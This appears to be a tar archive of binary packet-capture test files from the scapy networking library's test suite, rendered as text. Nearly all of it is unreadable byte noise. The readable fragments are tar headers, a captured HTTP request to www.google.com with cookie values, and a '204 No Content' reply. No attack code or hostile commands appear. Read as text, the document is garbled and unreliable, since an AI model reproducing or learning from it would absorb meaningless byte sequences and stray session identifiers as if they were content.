﹦üYæ.SZTýgƒ{ѯµ=QjLj˜È§q§>¬"üKéÄ/`æoY4Ĺ ,–6}¦Ëa&ËŒ8‰-mJÌö:§_Ÿ½‰ŠD ¾€¥€ Ãc®šÅ@Ρñ ³‹4ƒ¨J]¸âr’Wp(èv¼4¾øfà;QƒÄÿ‚a£¤ÔlVQKPR²¬˜0]kq®o–ò¬XP Åx1ßëá\¿ŠR¼vë夡ì£Q¢æ ¥„¾½. ºC(ˆ‡%B¼AµÌ¶p«ʈ`ã†ÈßÝ!V„<,øðÐÆvßZÝ+¡‚—¤“IF|—>5 Jó*;XV ìÅ;ÈxwÇtxê‚á"J¡®ºû€õ²¾+ì@æ1¡&òü­].Ç m<˜µí„9.ìÆC:ì5di¸ÄÄÐÊ3-2‡P)Ëî”ÑGô1qÇÏC~}Ïû¯†ö ~É#órÝý=ú9tY‰ Ú°„íé²Tü߃Œ•àï$Fæ2¶õ{ì'C0BŸ†¸Ë‚!î’Ü=1uÌ›ÿ ŸÄgnûå ä»™–\Šœ=Ew‡ì­lãì®yŒÿ¥*Æña "ø0‡¡ÆmÏœúîÎp× "¼S#¢Kw·°¶½¹YáV".rc%Ï:y‰º“Ý÷ŒëA0XZ>}ðnùÂ߉¸¶»ÇAþ‰\,â#ßÀyxü{ø£¤×ÊX1´ Iègçö÷ø·ÆÊ¨á.tÌáCÕ²Œèï¹I`V1–¤„ŸÍBÿ‹ÀAøüÊ×–ÁÌŒcò\±\H ‡úGª¿gáG0¼…®ÿD ¯Á¾‰¢r?8Êdˆ9Èý”n%féEc¬ç‘À[R°çßó}éìË ¾~¶(AžÑƒÔIþ£}Î&½6Ƀ]Çí«Õ‘0ü)Gõ<È §\‰ÁCée‡`Gá²FÛ¿—ÚqŒò?и¿5œ Tn%nø„B„ž‡š ‚'^|ÙñóÌQˆ“5'k™«çCbý9<™‹VkÞj­hÅ‹¹d¡Ò$;Lv¬66%’›!ɘÂE(ÆÜ@€‰Ž Bù\hSúP% '0Ó”#ÙPÿÿlçÒ$;L¾¯""!ɘÂ%’›EÍÔ0 «Bù\h PSúÓ”#Ù% '0P ÃÏkXy™Ø…p„\­^xÖ>™¦ýµ~ä¸_ëØÿZÛ¤Á020”ˆí Cjk£«þþ÷£NµõxiÙú–yæ?Zg¯[/[võøà¤Êì…d»$;y¼ «sî8Sö™S§Ÿï{ÛbÆÀIÒ #¿Lôãa@6Æh¹@6™*?Ë&þ2é¥Q!û…88öS–.#sÒÀ/ɤÿŽ"Éf+Ëš?…6%ŽÒ#¬]%ôÈħÓò#Éòù‘ÉŒÓZ.“ù¯‘žOÄTªá‚Ôø‰Œ£ÎÖx«Ï IÅÈKAŠk&¶ÐÐek\MĤ¾Ïá…5Ã0ýØw.Λ´*_“V×Èé¯sÊgÃ|¨,úösè¯>„”öŽ]JÞJàyŒ@J:¢Ä(U›XRµx>ñ8ÉÃJbÄrÇêêãŒ?«¬ñG3=µTWf€& “‹sB¡"4 C‹A%Ë7mBo„ßʼnDj‘²¥Nô7QEH’øÂ ‰zh Ä ´•™pÏ7²ö2y»ÀS.1’á÷¨Ç… .pEÀi„FQ¨ ŸOŒó,ã:øÑ^£/÷dB|z¥e;Kßí¢Œ[4X è ÌÁÂ8É¥> ¿  i.§YH ô%.¦¹9C¤skÛ- ¢íŸŒÑÅþùÖí)©œŸ>¶~Ùzhîµzut¸WÚîîUoTêÕÝo/½Óó£»»îÙ¸?ºÛûÑ¥ÇÏöÍ]ç®w[tÿ¶j6ÈœÏ{—'§çtÓ÷ÌSj½•îØÝqÔ³ûçFï±óêž›ôܡ“nÿÚ'÷—Uº7pΚ‘ùP}n5OýCºýmøÃk ª5;Ѧcž¯>=Ò“û›ÁÖ> ;Tø¥ä’»Ò!^6¡°òýŠCæõæ û%' ÓZ›dèAí¢Ê@^ˆ`ÝcR‘ëΩOä,BâÄýxèXebç7èñFÉJéyH1wf’Üù¬§»l]FÚüèÂÆìÐÅüuorjuI6´us]6µu².ãÅý¿IAJ¼m•ÔhhëÜ¬ÏøÅRøY ôW±†8j‡±ˆ€aÂESz{‹ ßÕPwkMi Ø3ìRÌXê)olàøæ0`ÏÒk°×Å5ìâü  © ;K@†\ÍÃ,PæÇaî]ò`1ËeÔ÷Ö6>“Û:?ÞY—òÔ»sZ~$¥€Õ÷¸… 2ÞïßùIÎzâM×3 ,·€!\_pénžÁw¼ókÆ¢”»Ò¹E¬q=ãáÚáâÀǵQbßË41Ñ2QHŽùµjunO“ȳ×év3ÈçZK kDÖ¶6cD¨Ÿš-8.à›Úøº²N®èÉuXéšsu«jWKçf)ÉÉÓÙÙf¯òÃ=étÍÁx“~¯uŸ®÷§WÏ­îÁÉ=y¾?ð£ÖõóKM¼nýè.6¿±o‡õ«§ÁàêÛà¾ùtÔÝk]—N*Ùìâáô†V_»Áí÷îå·ñÿ|qitÎŽ¶>!/ƒ±W¯Ý•.^JÃý^ëùÑžÐë­Jß ³ ¤ìÙ'L{¸¾¼¥Ýs4ÀYdàM¾ˆüC‘DÝÃOƒ€Ï¿ÈµF”dý³1õ«„ž¤žôí­ø>&ãLB”>ºê—×¼ïš{é\|‰—»§KïÀüx¶ç„±‚ó~Œø.lãO™¯O4#ïégĹë¢Ä(„ïÍ•„µVÿ·j÷…!c’î¿Ë¤´dd°œ%Ƀ»ƒ1ßÅ@™¯ÄÙ½«”½(‰(Ó~þRÿ¾5­1)‹rÅŸS‘ä¾qù\1ŒRDœêèEÌ›˜}?%–“/“z}Z¶Êûö7WwN÷ÍÇóèüð®Ñ¹GçGA£Cà·ÓhñòžÑØ›Àï>üîÃïÁ¸Ñáå£Ã”.hèwQwŸŽú¶Áom‡ÿ~»íŸ‘Î!={Ýë\ìòß‹‹Îüv~¤¿ÞE‡R»sú½L­›û³Wú£ß¼RúTT‹Ÿê:_”w)B“†Ø7÷âšE$åž|èU(,ã€WaÒªJFp©¶êK0u&W$õl…|Œm[«ªË+ª„Cêä×(mF†BÓ²äüͤ¼¾žþ›¢vUà¿Û®Î¤ ú„PD“ù,Ò²B|¸oˆ×ËëÒ,?ñþœº¯`?Wx!óè3§T¹f>É´h!kþÐuÕYnû}–«Ä±ñ¯ ±l-²»ˆøg†qDa/áC~7Ô…9`G<¢^Q]ùrˆ²!Çß,p^Ißî/ȲHÜÄ NL[“¸ˆ8Ê»–¬?ÄßsŽP¡©µZ66Lièí-ûØ¥Æ) E@úöo¸ToUrGšq²ÊˆÓ½É-²yÚP!¨‡ýªkDI"OÕÔ*ñ;ïÝ×*ò@íïèÀE_š4ò³—’E®oo<6 ,aÀ9ø¢‰É× âÛÛ—¸Fâüs q7Ò$;Lm¼ÅÅ!ɘÂ%’›E·Í×0Bù\h PSúÓ”-ò% '0P t Ïß-ÆÇºl%œl%V‘¤büÃYZ d+ÖÁ‰1تu9Í È-™ ýq{hy£BBµr‰VÒ¯¬‰ñ 5†f¾«ñ5ý]M¨á…Eæ_åÌwRR,~MÎ!H3sª*„ýI}&p7x¶^ýBrÒǪ…˜ÝODFL+®Vo°n±¯ýc¾ÛÿΚêÔ.Ò$;Lz¼66%’›!ɘÂE(Æß@€‰‹ Bù\hSúP% '0Ó”.Pÿÿb?Ò$;Læ† MM%’›!ɘÂE?Æë@€†h Bù\hSúP% '0Ó”.Pÿÿ¶RGET /csi?v=3&s=webhp&action=&e=17259,18168,23756,24692,24878,24879,25233,25335,25402,25529&ei=TiU7TKv1IdO6jAfQmdX4AQ&expi=17259,18168,23756,24692,24878,24879,25233,25335,25402,25529&imc=3&imn=3&imp=3&rt=prt.47,ol.109,iml.78,xjses.172,xjsee.187,xjsls.187,xjs.203 HTTP/1.1 Accept: */* Referer: http://www.google.com/ Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152) Host: www.google.com Connection: Keep-Alive Cookie: PREF=ID=1c04fd0f4d55e50e:U=7044fe833ebcf6ff:TM=1278369790:LM=1278369793:S=fzsLIaqbDZHLMwH_; NID=36=eBrL-shp5eWYPuFnevNwMD6pb3hkwNxpftCf2MtYxnFK-xDpZaDCv_EdDDhUryGcbVI2OfvNda5G-xTe3LDi-z0z9FI_-vPhPEhh7LTBCPcezvIaP-yDe0Oo1Ple7VQw Ò$;Lîý  !ɘÂ%’›EÿÍØ0¼Bù\h PSúÓ”.% *GPæ&«HTTP/1.1 204 No Content Content-Length: 0 Date: Wed, 21 Jan 2004 19:51:30 GMT Pragma: no-cache Cache-Control: private, no-cache Expires: Wed, 17 Sep 1975 21:32:10 GMT Content-Type: text/html Server: Golfe Ó$;Là®66%’›!ɘÂE(Æð@€‰z Bù\hSúP% *GÓ”/XPÿ(_(Ö$;L£s66%’›!ɘÂE(Ç3@€‰7 Bù\hSúP% *GÓ”/XP^Mscapy-2.4.4/test/pcaps/http_tcp_psh.pcap.gz000066400000000000000000000055641372370053500207270ustar00rootroot00000000000000‹Lò¯^http_tcp_psh.pcap­Y]lW^') ‹VJ‘hSàáfªÊ³ízìµM~VÝÇÞ4&‰m²7%M‡ÙÝëÝQfg&3w½v*DÔ "Ѫü´ªŠPó‚PE } ¥­„x#Š¢}Á#B,žRqν3;¿‡ÀZë½sï¹ßù¹çžsîëïþìGÛr;rÁgGnþ¿ðÜÂã¿r_€6~sfõk>ûÃ¥WÏ/ïÌÕr¹‡6¾}(wècïÜûöOFFàûË+íÜÒ¿|ãb\Ùæìº6žËmÛqÇë;¶íÌo»cý]ìÙ¾}"] ¦Àȹ"ÿü§ˆŠè¹¥+í×kþЗ¯|ò£KOW䳯ý~ÑùND~ö‰Bî0 N“yzã;\f“yÐ?¼¸ëÎ=wíG„¼ˆŒˆÏ=)Øë“("î¼TÈ5­™¦PcãE®ÐG1…žòzüO…Nžr©36Ó¡&ˆO×´žmPµ}ª†}B‡—2uXâ:tStx%¦CÝ×áèåBnÐæÒtØ»ñ_æÏÄtxÅ×aûµˆu!ås—3¥ü"—²“"å«1)¾”sß,äê€VOC¬]=ÉO¥"îÄÙ!â)Dôœe‚LNLÅcBèkÏr¾;Ç¿qw_¿ZGÿz/Æâo¾Ð/]²XFuê¬R§Bê:®#g8¡ì%Kë¬k™ã“Ê>¥¼¯ŸÓ­F·_QÈÚ„h”§+SíáB~Ö28À[·˜Ñ56nšn#Ç©ÙaÝ Ù;=5]È×\6vÂjë+:mzŸ–Hyýs•é•ɲ@/äq…¿ùûöŒ÷]g¼©›ãÔ\%6—9ŸM,‡ÍéØšãRÿ¹eµ‡mwÝõ›¬ëP­­›a‡Þ è\Ãov.è¶ß¾`èÍ!W_˯8VJÏZ¥®Òw  P8{â‘AŸÇŸ7 M×j£,ŸgÎz%Oàã ¡D†nÒ<]kQ›‘yÞ]sËt¶æºù|¾MWH‡2•š ¨ ŰÿLª8¬1æÈ ±â2è,É– -ãbZl8QÀàÇ¡¬ï˜D곕±ý’@7\š ðg*†5 Ž\é—fçjêÜLc‘‡ú*3‡Ž(Þh£vºQ"éc‡çfN>ZÌ×àq~áa¡NH[`Ò2Àdy¦ÅtË”ý5WÄ3˜ƒË‰vRÕ–fª*»ÔX)Næ”ÐKÜYÕŒ>…_ËÆiªËÀ¯.X&-š‚Ñ]‚cÁ~¼±*‘ÊÒp`¸² *Ýd²x( ¼å^ÆîÐj'抆Ҳú"­JEò )I]oÉ…j¨®Ò†íâkYô‡[@E"ßm„M?0£Óé÷`ç.ñ`ZŽÎmT•¡Í:_3/v¹~Ï& Ë2<ŸpŠÖn#Ž#K° Àíz âªæT¥«òžˆžáO—6ùþÛH;)dàVÆÇi«k)óXNg<‹ù˜.?6f;ÖÚú–L9UÀ°Ë˜ ,Ë“û” ø+WöOìŸÈä¶*¸A|mZ.…0»Ö7Xu¢DL4|uôó£à‚ÜW«žo..bU¢m!=xñhIBŸBæWÐ5³HÜ¢k ÀÝ[|DÚK &M–`“kMXhx`ŽÖ¢$Ø·È¢oÐLs˜Â¦Õ¢“†zºÌr¨Êœ>ÝJ©ùŽ ´°wÀ•õ6©×–ÅÖlmð”ž[&«Ïì~6W°qûMðfµ,{¼e~`KÍê`ÃÈÜ,^–àe9zG7·T¡=Ò,Ð1j­Œ 4E³y‚Õ–[fòÜ ¶e™í"ÑVD“ÑÚâ‘QÈ-ª¯Ò¶’)zaép Z™mpéšÁ‹lå@2éîí¹À¤®BS"TÌ^¤±.dq긷´>­>ˆÓ#Þ…@MFK£Dsàk ,pãH^Æõ¸†Ãø0žÔó&xl(ÿ«:öù J›EÓV0KNE³"<_á\oV±"µ@ˆ<`çO 3ft qø°§ê×¼ ÝÕM—if‹Ê\â"âj«è—ÅTÖøC›ìc^5PÙcÖä¹m6qÔxYÄ«8Uæ¡ vÐýV)TÄ®ePÙ_¨/O•$E¸„8:£Þòµ5¦…äòÊ;ˆSŠ ’›˜š:3yŒÿÔBúÞ—Fk†6ššî=D$(43üx½zÙS̓$`Åè»]¹rPð}®\1Q\ò&ð(‰cúV…J,d¶¡Eo×p|’_“õà¸äWcàøDTp6üQxtÌq¿Cwdó{{ Ÿ?ó$å€{P(‰DÞÀ$.7 ŠÉ¢úEÜ'¾Aã•P€c…œ‘‚À,Ð k&•ª]ËeÒY”YÁ¦©Á)+‹O<=6#òˆlVIÎ÷ÒÜYQÃú„‘¹á$›‚ÉÁCœp¯oª;‰Ò&‚Ê©$ìVzÞ•*x¦Tfk'êÂâB ò]«K[çTß&@pDƒ öòBRÞQ12z–$—É=Í–áø¢àÆ.Ef+®mèL†´R,е tW´ÀeU!µ™txžâ§ÙJ <«¨Q‰<ð€Ç?êtàÑ„-¿€AlƒS‘qJŒ üÊÆ<,C:¦°ïg™c<8‹Åèù¾Î¤ÈÎk­Ê¡]—8„­8ßUhUþ,'Îae†gÕ£€Þ¾N?ÆÎ_¬ÃBã‰1œ1½qÆ1(M‡}›ÅZ–`ªFD ,t¹ß•Èý¢Km¼O•>–.¡Syªaú’÷„11µZÍÒ<ÊLîB妶 O!“o*AÄlÿï%Èú Ö¶evä@§[`2@<Šgúލܰ/º:ø9ÆÜ¨p> Ï®UÏ…#=·#6te/š¶2 Þ·pÂPɃ‚7Þ;§£7ÞÏ\æ7Þ÷ŽÜ|VÞx+Êd±MŠ^9[ÕÍEŽÆOWÒ]Ï“·‚a{xÈôñR Wf¢„j>2*ñ¶Êô`²î© $yðÉqen#¤ã§ ¥Ã9&.Ô±fõoÖ•oÉ ؾêEÅbˆâ&íY&LÂÈàjûeõÐp2 …T‘RäáGj›°[Kë`1à‡‹µªÏÁ#N ÇèzÓÒœ6/^œ~|Ó‰|ŸT[<’rÇËÝ5(µ…>ÔZQñj%-UÁ¡AÇ‹m¬U×LRU,‚_Rà=CÈJ¢Î=ù §÷_È|Áú=þæí³±7o¯âK'|Áºëw‘7o§ñ×od"¾œú.Ù·ñFÞ .#â;of"~Ÿ#~:‰x¡zq×ίïøÔñ=ñÍ_d"þ õU8 ~õ¯w}üÐÍ7’ˆ¿‘‰øCޏ;‰øÌe@Üø÷—’ˆò™ˆW8â=IÄKo]¼+ÿÚ?ûCÄ÷}ÄÚ™oDOó÷—_ކÚKoêcoD»ˆúãwéšk scapy-2.4.4/test/pcaps/ipfix.pcap000066400000000000000000000007021372370053500167150ustar00rootroot00000000000000Ôò¡ÿÿWà=X•'žžPV„cÉ„x¬ EýGÌ*nÌ*oåD' | tX=àWÏd3      <˜™Wà=X(RRPV„cÉ„x¬ EDýGPÌ*nÌ*oåD' 0 (X=àWÏ4$%Yà=XSüŠŠPV„cÉ„x¬ E|ýGÌ*nÌ*oåD' h `X=àYä3PFs2G=;Ì*neV ³ùî³û¯<Ì*n½X±±8ÿX±³áMscapy-2.4.4/test/pcaps/netflowv9.pcap000077500000000000000000000037571372370053500175530ustar00rootroot00000000000000M<²¡ÿÿ ‚èYSÆP"žž”µË(ÎEŒ@?§RÀ¨d deDx $<º Yè‚!$\¨      <t¾GÀ ‚èY=ÂQ"ZZ”µË(ÎEH@?§–À¨d deD4 ì $<º Yè‚!%©$% ó2 ‚èY>[f#ZZ”µË(ÎEH@?§À¨d deE4# $<ºµYè‚!Ý­"#sÊ»‚èY/fææ”µË(ÎEÔ@?¢ À¨d deDÀó: $—M›Yè‚•P¨¤®®ý û[ß)w$•xÛ$—M5 dg ý û[&+?$•xé$—M4 dg 99ý ûZ‚Æ¿$•xÕ$—MN dg ý ûYƒ³“$•xñ$—MQ dg ¨¨ý ûYm–$•xÜ$—MB dg ¯¯ý ûX*$•xÓ$—MH dg WWý ûWû2‘$•xØ$—ML dg ÎÎý û[]t1$•xÛ$—M^ dg eeý û[ZÓW$•xã$—M^ dg ÉÉý û[u$•xÕ$—ML dg ººý ûZnñî$•xÛ$—Mb dg ý ûY$ð»$•xà$—MX dg ÆÆý ûZ–Ô$•xÚ$—MZ dg ÍÍý ûZHëø$•xß$—M@ dg BBý û[ S÷$•xÝ$—MP dg ŠŠý ûZá°ö$•xå$—Ms dg úúý ûZQû$•xä$—Ml dg ý ûZ8“³$•xû$—Ms dg ##ý ûYš{$•xÓ$—M_ dg ³³ý ûYnÇ÷$•xÔ$—Ml dg PPý ûZM«4$•x×$—M] dg øøý û\8²$•xÔ$—M‡ dg FFý û[d~,$•xô$—M‡ dg ý ûZkÀ $•y$—M dg èUKiƒèY—aeOO”µË(ÎE=@?§˜À¨d deE)Ò $šØ—Yèƒ}ö­  ÆæS?scapy-2.4.4/test/pcaps/pfcp.pcap000066400000000000000000001322641372370053500165370ustar00rootroot00000000000000 8+t 4wÑ.UÞÄÿ¨Xk/r3ÑÇéïÃ6w{1Ì»(‰ŒÿJ €HùÐ#0Bø¬¢¢|Ñô††E†@|d"e"erÙ!9f L‡ðÿiG[Áb s~š!p‰ ÿÿÿÿ(%§ {€Hù€ Hù¿÷ª9&+ Ÿ¬¢¢|ÙjjEj@|€"e"eVç’!9Jÿÿÿÿÿÿÿ… 6hVeo y/×0¦£.’×;G#ŽK||ÿ& 9o˜#X¢¢|Ü944E4@|¶"e"e ›/!9`X°¢¢|àgŒŒEŒ@|^"e"ex÷ã!lÿÿÿ’r& ¶R•2<½ÒgË&\ª swµ‡r—°¬!+½3982550288503737532058°x¢¢|ãªSSES@|—"e"e? .!93ÿÿÿÿÿÿÿŠÿÿÿÿ $ô HùƒP£ôúš¦ÕÁ­xœ¢¢|ö4vvEv@zt"e"ebb^!V$S XŸk‘<uûèÇÿÿÿÿ{c‰n6')ÿl·ØÁ1Æ ¡oPH<²§Œ w"pkÙ*jöGq¡š5kê€ÐŒ—òõÊc®ó5 üׯ¢‘#XÓ£UG·[ÚGc¸ ¤¼de×üÆd²À¨¾×g“g±s»ÑQºfïüLJV mu“xûàHÌ]ƈ^fðû3Ö(]DÁãøïcøÜ¡Ù‘ ßžèF¿¸”´ÏŽ‹àÌÌIs¼X$‰{ xÞürcCG,2¦T"IÄœú˜ýÌÍÒ—UËHÅýöyc¼÷¯ÊlYà3üUë¬åÞûûÕîd Ù&RÃq'Ѧ¨5I =å›"òÊhÿ4Þèˆà’`"/)€ Hù@ˆþÄ´;h</Š‹’Žb Z4J¿Ç}ÿÿÿÿG€ Hù?îÔ0 8,Ã]`/‰fšô*âý{y ëJ†%å’íco®í­ô"óûéteB?v8BcWLq7wQSYEMERhonhR65QWsaTZ290vkf75k3PHLopX82NrlCFQ2z5rYFqAsPgG€Hù+*Bÿÿÿÿÿÿÿÿœ¼¢¢|þŒ˜˜E˜@|R"e"e„¨W! xÿÿÿth+ì ›Mèo Ÿç«“O³æ¥YGøK/ibjdGkdwsMx37e8MHDAj7ElYtWCMZ93eb1ZFAa-dq3UyX5ND51L-4MPJp-Q02nhl dKKsHf7XPLe¼d¢¢}i@@E@@|ª"e"e,A!5 ÿÿÿœ4¥Ð#=Zdt¢¢}1NNEN@|œ"e"e:hÑ! .ÿÿÿÿÿÿÿl"   tŒ¢¢}neeEe@{…"e"eQ¢·!4Eÿÿÿÿ~ÿvcŽ9ä>¶%í“~3GŒú2ׂj… !×Ùa4ØFæò¢¾5q Vn>(ãjÿÿÿÿŒFÿÿÿÿ]… Sx_Ÿ5"ã„ IŒ2 Ÿ@@?fUv77q2Npw5sIKKq34DnHrnt54h1bq9cr-2wJjc4UThGbFZ4b2TvLtyXG79n3VR8ÿÿìPÚ–K­ÿÿÿÿy 17“€ HùIÿÿÿÿÿÿÿÿZ O.ÃŒ´¢¢}"rE@|Z"e"e|¨ã!7pd4ÿÿÿÿK;ü (’ Ž ÿÿÿÿÿÿÿÿ@ÿÿÿÿ|#hB ´ô¢¢}•;ÍÍEÍ@|"e"e¹5 ! ­A#ptÛà_ÿÿ_"û»ÿÿÿÿ!£ÿÿÿÿ QVl R5KeEE€ Hù€ Hù?ù¿»³¬<_B ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿôX¢¢}™]11E1@|¹"e"e—`!qXÀ¢¢}¢dœœEœ@|N"e"eˆÊ:!|ŠÿÿÿÿQj YULôýg)€íä~õ†RtvroRHMVOU1ypwkv4-b5ciX5Qamm}Œÿˆÿÿe4ÀX¢¢}¦™11E1@|¹"e"e›;!X袢}¯œÁÁEÁ@|)"e"e­˜’!¡ ÿÿÿ,Y?mc@ 5<V°zac©ã©. LµQ‰ V,a (Cÿÿÿÿp`$(g`I >Ä‚táè«.f±ØK"  ƒè°¢¢}´c‰‰E‰@|a"e"eu‘2!i;w ÿÿÿÿÿÿÿÿÿÿ€ Hù@,z\ëTS]ˆ{w; 4>ŸÇôN_ÙuÿÿÿÿLÿÿÿÿ}ÿÿÿÿ€ Hù@b0¨e0°´¢¢}¸CE@|Z"e"e|–!pÿÿÿÿŽ$ %ÿÿÿÿ5•= Ã÷w½ ‰',ë_†ÿÁH§F€ Hù¤¾àe¤Ø:üB ´p¢¢}¼kLLEL@|ž"e"e8…œ!3,/`!ÿÿÿÿ(ÿÿ_}p¬¢¢}ˆˆEˆ@|b"e"et_" h[óAšîΦ£5½‰gu¶™’&¿u¾ÑÌäO ™Å5«?Àºßlî+/BÃd±ÍÈnâðþ²úC—¤0´)Ì*#s1 ½ŠBÖ`}ÕÀí¢Ç:½Bª_1Ïn¬ ¢¢}ÌPüüEü@{î"e"eèF! Ü.…ŽX, XÿT[©Õô¨1ÚNÄȾ˜ÏäÞÿÿmÿÿÿÿGƒÁ+‰ÿÿÿÿÿÿÿÿ;Gˆÿÿ@ÿÿÿÿ`ÿÿÿÿ# Œÿ12]¼EÛyQt0YÂé}€ Hùÿÿÿÿÿÿÿÿuÿÿÿÿ ¢¢}ÖÐììEì@{þ"e"eØ–p!2ÌÿÿÿÿHS¤œb§xæÄ—[nW?Î7ÿØRÿÿÿÿ>‰ˆvV[\ª“}b€LŽ& G„O¶É:Jg«—Ä †¬ ”/‡Ÿ~ Ú'€Hùˆ¬Sz”yç+ †¯%8ÿÿmÿÿÿÿ7߉ôHù8·É|¢¢}ëXXEX@{’"e"eD g!38vy9ÿÿÿÿÿÿÿÿ#O®^Z'^îáÛ§:£lÿÿÿÿ)A!.t°‘F¢ù”ýÿÿJõÿÿÅ'Rÿÿÿÿ}Jÿÿÿÿsv>XÿY.LR<´k =ŠNÈz´?ËUžèën7?p@$ÿÿÿÿRÿÿÿÿ‰25~0Î$.f_€ HùÀÏXA²º+z Z?/"Yfuÿÿÿÿ|4¢¢~¹E@{Ú"e"eüôP! ð[,€†ðïYH„cv:[íG´_›ˆÿÿ&$Iô HùïzzÐf“ Ž%ÝŒÞ]ð%ãÊØúû­¿°÷´Qç!zÿÿÿÿt"–³ä3x³¹R¯ @×´ò1RBÿÿÿÿÿÿÿÿIÿÿÿÿÿÿÿÿN 4È¢¢~ R¡¡E¡@|I"e"eŸõ 8ÿÿÿ[ £UHÝEK1ZÎ oIa*áee%E BÿÿÿÿÿÿÿÿI ÿÿÿÿÿÿÿÿBÿÿÿÿÿÿÿÿÈ”¢¢~ ppEp@|z"e"e\1¾!Pÿÿÿÿÿÿÿ@?pFTFMZAKTiLSNpf4EweQcZm54DrqhBoJO9btVr27Pcu1jLCJT7BSAXkU-prhShu”Ä¢¢~ÑŸŸEŸ@|K"e"e‹n_Gÿÿÿÿ%f ˆk|;{zZ´¢¢~I†êêEê@|"e"eÖd{!Êÿÿÿj*-pŸ;ga‚:9X14ErgNtk-y2r0lEX0r92MbtBluaAeP3Qox5akOFRu-oaxNcVYZU8NSf-G{Zu umM$*ržw^ÿÿÿÿy ÿÿÿÿÿÿÿÿ‡ ¢¢~O¸yyEy@|q"e"ee|*! YÿÿÿkÂêóðÌB:eKÿÿÿÿoE € HùÀ-ëSžW6  | Ð¢¢~Wõ¬¬E¬@|>"e"e˜ŸÕ Œ,as0lÿÿÿÿbƒŠp]» >’#É)àkp&Så2 MˆÿÿA(Wï´ÿÿQ{ÿÿÿÿ‰2=féfØ`‘Ã$÷ÃÏNðK#ÿÿÿÿôHù°JР¢¢~` ||E|@|n"e"eh³;!2\‹3B ÿÿÿÿÿÿÿÿ`y"ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ˆ¢¢~eMddEd@|†"e"ePzÈ!Dÿÿÿ0[-ÿ‡Jÿÿÿÿ€ Hù€ HùÀj›' ˆ4¢¢~moE@{Ü"e"eú„! î `g!Žâ®ƒ´©}Â)«+b› –9v!;+eŸÖ‘U Båp•pzø(HÀEÑíŒú¾J9 ·‚Ÿ˜H £tëòí}âb–w¦0› ³™ŒBX¡•Na®„gÝNapOIz.SÈ|¡óGô8âkb%%>ÿÿÿÿ)‡]WK“ÌŽòå\øMPäÒô Hù3xìI•Z&4$¢¢~y ýýEý@{í"e"eé&å! Ý .L„'@n2i>Lˆ\Ár 8ÛÀ 7ÿÿÿkïÌ,  ÿÿÿÿ b Þ>}H|ø8-@ÿÿÿÿw €€TD•3[&Ïí«²hH–ÚbGÿÿÿÿoo$„¢¢~}‰``E`@|Š"e"eL×Î!@ÿÿÿ[å•Þ†e"7?€Hù„ð¢¢~†¯ÌÌEÌ@|"e"e¸Æ!6¬ÿÿÿY8v(#*0ûŠÿÿÿÿq' {ƒÿ;/lÿÿÿÿg8nÓ­  Ú¤¯ŠÍìq÷õÞ-€ Hù?û•ÒOŸg>g'Nä|z™èð䢢~Á½½E½@|-"e"e©½3!4ÿÿÿv<~ÿ[xFÍCC‹A« ½¬7L€Hùàv(|GŒä2]ŠÈT¶S« -SgÁš_‡ …ÍšvŠB ÿÿÿÿÿÿÿÿäø¢¢~›ÑÑEÑ@|"e"e½©›! ±C! 8Þñ…ÔàKfZ€ Hù@úàÆ¸.1Ni‹‹[rŸ3“tfýÈÌõ•bëTÚ‡¹°uÏžµÐeh×½vw,/G¹¨K‘ŒüÌ·èø¹ˆó_(ïkS7n‹Â›\—Œ$†%3sËÒ8$žøÛ¦$,–ðÚøX¢¢~Ÿ311E1@|¹"e"e–W! ÿÿÿÿqXÜ¢¢~ª¶¶E¶@|4"e"e¢<À –l6ŽZôHù؇úqiY*0–ÐH ’9ªl´0"¼·ª0UH†Ló@Q!ÿÿÿÿ2€ Hù@!öZ¨.I¬hÿÿÿÿܘ¢¢~¼LqqEq@{y"e"e]R!Qÿÿÿ:V~uÁˆÿÿ= 8«Uø^െ^išN«mO™‰}zÿÿÿÿhQQÿÿÿÿ#k@EZB rA ið3‹#+• KH w €ÿÿÿú8ÿÿ€ HùÀ«&]À/.ZZ ôHù|¯w5×V5[z {Íâ<ÿ»@gÇ\é:mÖ?úJ$‡|Ö‡s an'`˜Ð¢¢~Ŭ¬E¬@|>"e"e˜X!7Œÿÿÿ-c‹5ÂeT53ª‚qÃí¦/W›rvø¡€Jšëy !€ Hù@(±!™p€cO>€ HùÀ•KQì]dÐÔ¢¢~Î.¯¯E¯@|;"e"e›ÿ!… =Öã PhpÉJÔ0d`ÿÿÿÿs€ Hù ~±Ë™Ï1>Tu×CóO–¬ù/Ä^çHÊwyÿÿÿÿÿÿÿÿH’' ·¶ŠˆáÖŒøóFÿÿÿÿh? TXÄ¢¢~í´žžEž@|L"e"eŠ·¥! ~ÿÿÿH ÿÿÿÿÿÿÿÿ‹… aÌ.Ë6žÞŸ˜ rÖázI‘ ÿÿÿÿÿÿÿÿ+v ')@@ÿÿÿÿ‰|ÿQÄô¢¢~õÿÐÐEÐ@|"e"e¼1V!°~€†à¢‹l@dE95oÁeÇkÐ*<`^ ´–/pr¿€°–|E€ HùÀ-üîLYÁw€ HùÀ2(¯Ä®WûPCŽ#ÿÿÿÿQô Hù°,!3AÎ ô`¢¢~ú99E9@|±"e"e%[!5ÿÿÿÿ,z` ¢¢ææEæ@|"e"eÒê Æ„¾C ’A#Fß®ÊA¥‹©ÿÿÿÿË:Ûû¸ÿÿÿÿÿÿ3h‘[Szó ž+¢+µÁwwr!ªÂ÷àºCÔ÷äª{Ö‘µgâû“ßîÂÏDtÓðdªt²k‚õJc–I`E 2-*ð”6HQžŒ¼TQ½H…G4ŒÓœ§ ÿÿÿÿ`ÿÿÿÿ€Hùc¥Ù È¢¢$c¤¤E¤@zF"e"eÃí! „ ÿÿÿ %% ƒ3‘v7†)ÿg’Ù·é'•>['°Ÿ0áœI£ ½ÄsíüF°8EE?ì´b‰`„ üŠÒæ§Ì.)»£ßŒ«;ç†tC$ïàé&d  ^™bÍÏ?´|U£Ïì5åš?Lo ýçñ+´õ1œPÅ+žÖʃóLÏ˱çNŽ©½ ˆ::ã¢ôßö²ØÊ\ñ³%hud¶U? ue3òB$%6ö ÉÍ@'g<=lþN¸ÒIœ³Ëý•Žý"ÏÑb µ?‘þh0¯¾99J_6o‘±+ì¬ß tËê3ô*],Âu¹Kš¬Š‚¬ ^áòFH†&àð >Øe"%gdZÊt" 